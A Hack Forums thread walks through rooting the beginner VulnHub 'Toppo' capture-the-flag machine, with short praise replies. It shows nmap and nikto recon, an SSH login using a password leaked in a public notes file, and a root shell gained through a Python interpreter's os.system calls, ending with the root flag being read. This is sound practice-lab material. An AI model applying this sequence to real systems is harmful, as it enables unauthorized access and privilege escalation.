

Forum:[Hack Forums](#)

Thread: [Toppo CTF Challenge Walkthrough - Beginner](#)

Xphile - July 25, 2018, 10:53 pm

Toppo CTF Challenge

Difficulty: Beginner/Easy Author: [h4d3sw0rm](#) [VulnHub Link](#)

Hello all,

It's been a while since I've posted on HF, so I felt like giving out a walkthrough to a simple and quick CTF challenge that was recently uploaded to VulnHub.

This CTF doesn't require any advanced exploitation by any means, and simply requires common-sense and minimal tools.

That being said, I feel anyone wishing to get into CTF challenges or pentesting would appreciate some of the tools and techniques used to obtain root on this box.

Steps to root:

1. Initial scanning & recon.
2. Exploiting predictable & lazy admins.
3. Gaining root thanks to more laziness.

Initial scanning & recon

When starting any CTF challenge out there, your first priority is to understand where and what you're working with.

I generally use three tools during my initial scanning phase, before I begin to dig into specific services and determine the best approach, these three are:

1. Nmap - An absolute essential for getting a good picture of what the target box is using to send and receive information, a full Nmap scan is invaluable to any CTF challenger.
2. Nikto - Nikto is a quick way of locating interesting and potentially useful files on a webserver. Many CTF challenges will have a webserver running and is typically your best bet at attacking the box itself (for example, uploading a shell or exploiting a flaw in the website's design).
3. DirBuster - This tool will scan for directories provided by a wordlist (DirBuster comes with some good lists) in order to provide an in-depth look of how the website is mapped out. This tool sometimes finds misplaced directories or files that will help you exponentially with your efforts to exploit the target system.

Nmap:

Code \$ nmap -A -p- -T5 192.168.56.101

Starting Nmap 7.40 (<https://nmap.org>) at 2018-07-26 04:58 BST

Nmap scan report for 192.168.56.101

Host is up (0.0020s latency).

Not shown: 65531 closed ports

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)

| ssh-hostkey:

| 1024 ec:61:97:9f:4d:cb:75:99:59:d4:c1:c4:d4:3e:d9:dc (DSA)

| 2048 89:99:c4:54:9a:18:66:f7:cd:8e:ab:b6:aa:31:2e:c6 (RSA)

|_ 256 60:be:dd:8f:1a:d7:a3:f3:fe:21:cc:2f:11:30:7b:0d (ECDSA)

80/tcp open http Apache httpd 2.4.10 ((Debian))

```
_http-server-header: Apache/2.4.10 (Debian)
_http-title: Clean Blog - Start Bootstrap Theme
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
|  program version  port/proto  service
|  100000  2,3,4      111/tcp   rpcbind
|  100000  2,3,4      111/udp   rpcbind
|  100024  1          55005/udp status
|_ 100024  1          59668/tcp status
59668/tcp open status 1 (RPC #100024)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .

Nmap done: 1 IP address (1 host up) scanned in 17.55 seconds

The command I used can be broken down into its separate arguments, for those who aren't experienced with Nmap:

- A: Enable OS detection, version detection, script scanning, and traceroute
- p-: Scans all ports on the system
- T5: Sets the timing template for the scan to its maximum of 5 (higher is faster)

From this scan report I would quickly determine that:The SSH port (22) is out of the question, as they're usually very secure and require valid credentials to use.

The webserver (port 80) has the greatest potential for exploitation and further recon.

The rpcbind service can be left for now, and if-needs be can be interacted with later.

Nikto:

Code \$ perl nikto.pl -host http://192.168.56.101/

- Nikto v2.1.5

```
-----
+ Target IP:      192.168.56.101
+ Target Hostname: 192.168.56.101
+ Target Port:    80
+ Start Time:     2018-07-26 05:05:53 (GMT1)
-----
+ Server: Apache/2.4.10 (Debian)
+ Server leaks inodes via ETags, header found with file /, fields: 0x1925 0x563f5cf714e80
+ The anti-clickjacking X-Frame-Options header is not present.
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
+ OSVDB-3268: /admin/: Directory indexing found.
+ OSVDB-3092: /admin/: This might be interesting...
+ OSVDB-3268: /img/: Directory indexing found.
+ OSVDB-3092: /img/: This might be interesting...
+ OSVDB-3268: /mail/: Directory indexing found.
+ OSVDB-3092: /mail/: This might be interesting...
+ OSVDB-3092: /manual/: Web server manual found.
+ OSVDB-3268: /manual/images/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ 6544 items checked: 0 error(s) and 12 item(s) reported on remote host
+ End Time:       2018-07-26 05:06:17 (GMT1) (24 seconds)
-----
```

+ 1 host(s) tested

From here I can immediately spot that an admin directory (/admin/) is present and public,

sometimes the most obvious route is the way to go, at least in this instance.

The other directories appear to either be potentially useful (such as /img/ or /mail/) whereas others are simply useless bits of documentation (/manual/)

The DirBuster report was filled with effectively the same relevant info and a lot of useless manual pages, so I won't post the report here.

Exploiting predictable & lazy admins

After browsing to the /admin/ directory, I was greeted with a single file named 'notes.txt'.

Of course, this is a beginner challenge and will generally require a small amount of effort (this far) on the attacker's part.

Quote:Note to myself :

I need to change my password :/ 12345ted123 is too outdated but the technology isn't my thing i prefer go fishing or watching soccer .

So this admin is lazy, he's left a personal document on a public directory for all to see. He even gives out his current password, just like that.

So now there's a password in the bank for later, but a username and point of entry is still needed, as there is no evident login form on the website.

Obviously the only visible entry point is through the SSH service.

This is where some may trip up with trying to overcomplicate things, as I've done a lot in the past.

Looking back over the mainly numerical password, the word - or name - "ted" stands out.

Worth a try as a username, surely?

```
Code $ ssh ted@192.168.56.101
ted@192.168.56.101's password:
```

The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law.

Last login: Wed Jul 25 23:18:19 2018 from 192.168.56.1

ted@Toppo:~\$

And of course it works...

So now I've got a presence on the machine, time to figure out whereabouts I am and what's around me.

```
Code ted@Toppo:~$ whoami
```

```
ted
```

```
ted@Toppo:~$ id
```

```
uid=1000(ted) gid=1000(ted)
```

```
groups=1000(ted),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),114(bl  
uetooth)
```

```
ted@Toppo:~$ cd /root
```

```
-bash: cd: /root: Permission denied
```

Sadly Ted isn't root, which is what I need to complete this challenge.

Gaining root thanks to more laziness

I'm not great with post-exploitation if I'm completely honest and privilege escalation has never been my primary skill.

However, I know to always look for programs that allow me to write and execute system commands

on the box.

Many lazy admins will restrict their user's permissions, but not their application's - this leaves gaping holes in a system where any old user can run commands as a root user.

For example, with this box I quickly checked for Python:

```
Code ted@Toppo:~$ python --version
```

Python 2.7.9

Sweet, so let's see where Python stands amongst other users and programs...

For this I began to execute system commands using a module called "os" (documentation on the module can be found [here](#)). You can play around with it and see what info you can get the system to spew out, but I went straight for the goal of this CTF...:

Code ted@Toppo:/\$ python

Python 2.7.9 (default, Aug 13 2016, 16:41:35)

[GCC 4.9.2] on linux2

Type "help", "copyright", "credits" or "license" for more information.

```
>>> import os
```

```
>>> os.system("whoami")
```

root

And there we are, root permissions while running commands through Python.

This can be proven by changing directory to /root and listing its contents:

```
Code >>> os.system("cd /root && ls -alt")
```

total 24

```
-rw----- 1 root root 53 Apr 15 12:28 .bash_history
```

```
drwx----- 2 root root 4096 Apr 15 11:40 .
```

```
-rw-r--r--  1 root root 397 Apr 15 10:19 flag.txt
```

```
drwxr-xr-x 21 root root 4096 Apr 15 10:02 ..
```

```
-rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc
```

```
-rw-r--r--  1 root root 140 Nov 19  2007 .profile
```

0

Bingo, `flag.txt` is what I'm looking for, so to open it up...

```
Code >>> os.system("cat /root/flag.txt")
```

[illegible]

Congratulations ! there is your flag : 0wnedlab{p4ssi0n c0me with pract1ce}

0

Short, sweet and simple. It was perfect for me at 5 in the morning and no sleep. ?

Hopefully you enjoyed reading and have perhaps learned a few basic tools & tricks, feel free to ask any further questions if I've missed something out (I still haven't slept, so excuse any errors).

Thanks for reading,
- Ð3M0GORG0N

Refr3sh - *July 27, 2018, 3:22 pm*

Well written guide and fun to read!
Might give it a try soon :D

Last_viking - *July 27, 2018, 9:50 pm*

Very helpful walk-through
I'll try this soon

whoredoor - *August 2, 2018, 6:25 pm*

This is awesome, thanks a lot!

CyberStrike - *August 4, 2018, 4:12 am*

Well done, and well written always good to see people practicing and in a safe environment.